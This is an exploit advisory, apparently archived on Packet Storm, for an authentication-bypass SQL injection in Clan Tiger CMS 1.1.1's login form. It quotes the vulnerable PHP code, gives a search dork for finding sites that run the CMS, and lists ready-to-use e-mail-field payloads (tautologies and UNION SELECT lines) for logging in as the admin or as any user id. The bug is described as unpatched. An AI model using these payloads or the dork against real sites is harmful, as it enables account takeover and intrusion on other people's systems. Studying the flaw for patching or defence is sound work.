what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Clan Tiger CMS 1.1.1 SQL Injection

Clan Tiger CMS 1.1.1 SQL Injection
Posted Apr 18, 2009
Authored by YEnH4ckEr

Clan Tiger CMS version 1.1.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | f1a9f89c95195cb780c78d8c63205e35c5e5f8730d7b00fb3ed871a13faa53f6

Clan Tiger CMS 1.1.1 SQL Injection

Change Mirror Download
-----------------------------------------------------------
CLAN TIGER CMS AUTH BYPASS LOGIN FORM (SQL INJECTION)
-----------------------------------------------------------

CMS INFORMATION:

-->WEB: http://www.clantiger.com
-->DOWNLOAD: http://www.clantiger.com/download-clan-cms
-->DEMO: http://www.demo.clantiger.com/
-->CATEGORY: CMS / Portals
-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming
clans...

CMS VULNERABILITY:

-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)
-->DORK: "Powered by ClanTiger"
-->CATEGORY: SQL INJECTION/ AUTH BYPASS
-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)
-->Discovered Bug date: 2009-04-11
-->Reported Bug date: 2009-04-11
-->Fixed bug date: Not fixed
-->Info patch (????): Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.

---------------
BUG FILE:
---------------

Path --> [HOME_PATH]/module/login.php

It contents:

function authenticate()
{

$authentication = $this->access->authenticate($_POST['email'],$_POST['password'],(bool) $_POST['stayLogged']);
if($authentication === true)
{
header('Location: index.php?info=hasLoggedIn');
exit;
}

// we couldn't log in
$this->errorMessages[] = $authentication;
$this->main();

}

Path --> [HOME_PATH]/function/class.accesscontrol.php

It contents:

public function authenticate($email,$password,$stayAuthed=false)
{

if($stayAuthed) $logintime = time() + (3600*24*356*3);
else $logintime = time() + 3600;

// attempt to get the user from the database
include ROOTPATH . 'base/class.user.php';
$user = new User;
$user->email = $email;
$user->password = md5($password);
$user->getBy(array('email','password'));
...

}

----------------
CONDITIONS:
----------------

**gpc_magic_quotes=off

--------------------------------------
PROOF OF CONCEPT (SQL INJECTION):
--------------------------------------

[HOME_PATH]/index.php?module=login

login form:

e-mail value: something' [SQL]
password value: something //it is not used

-------------
EXAMPLE:
-------------

login post form:

e-mail value: something' or 1=1 /* --> we are admin!
e-mail value: something' or 1 # --> we are admin!

Note: Now, we need DB_PREFIX (default: "", others: db_, clan_, etc)

e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*-->admin (if id=1)!
e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* -->we are user id=12!

*******************************************************************
GREETZ TO: Str0ke, JosS and all spanish Hack3Rs community!
*******************************************************************
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close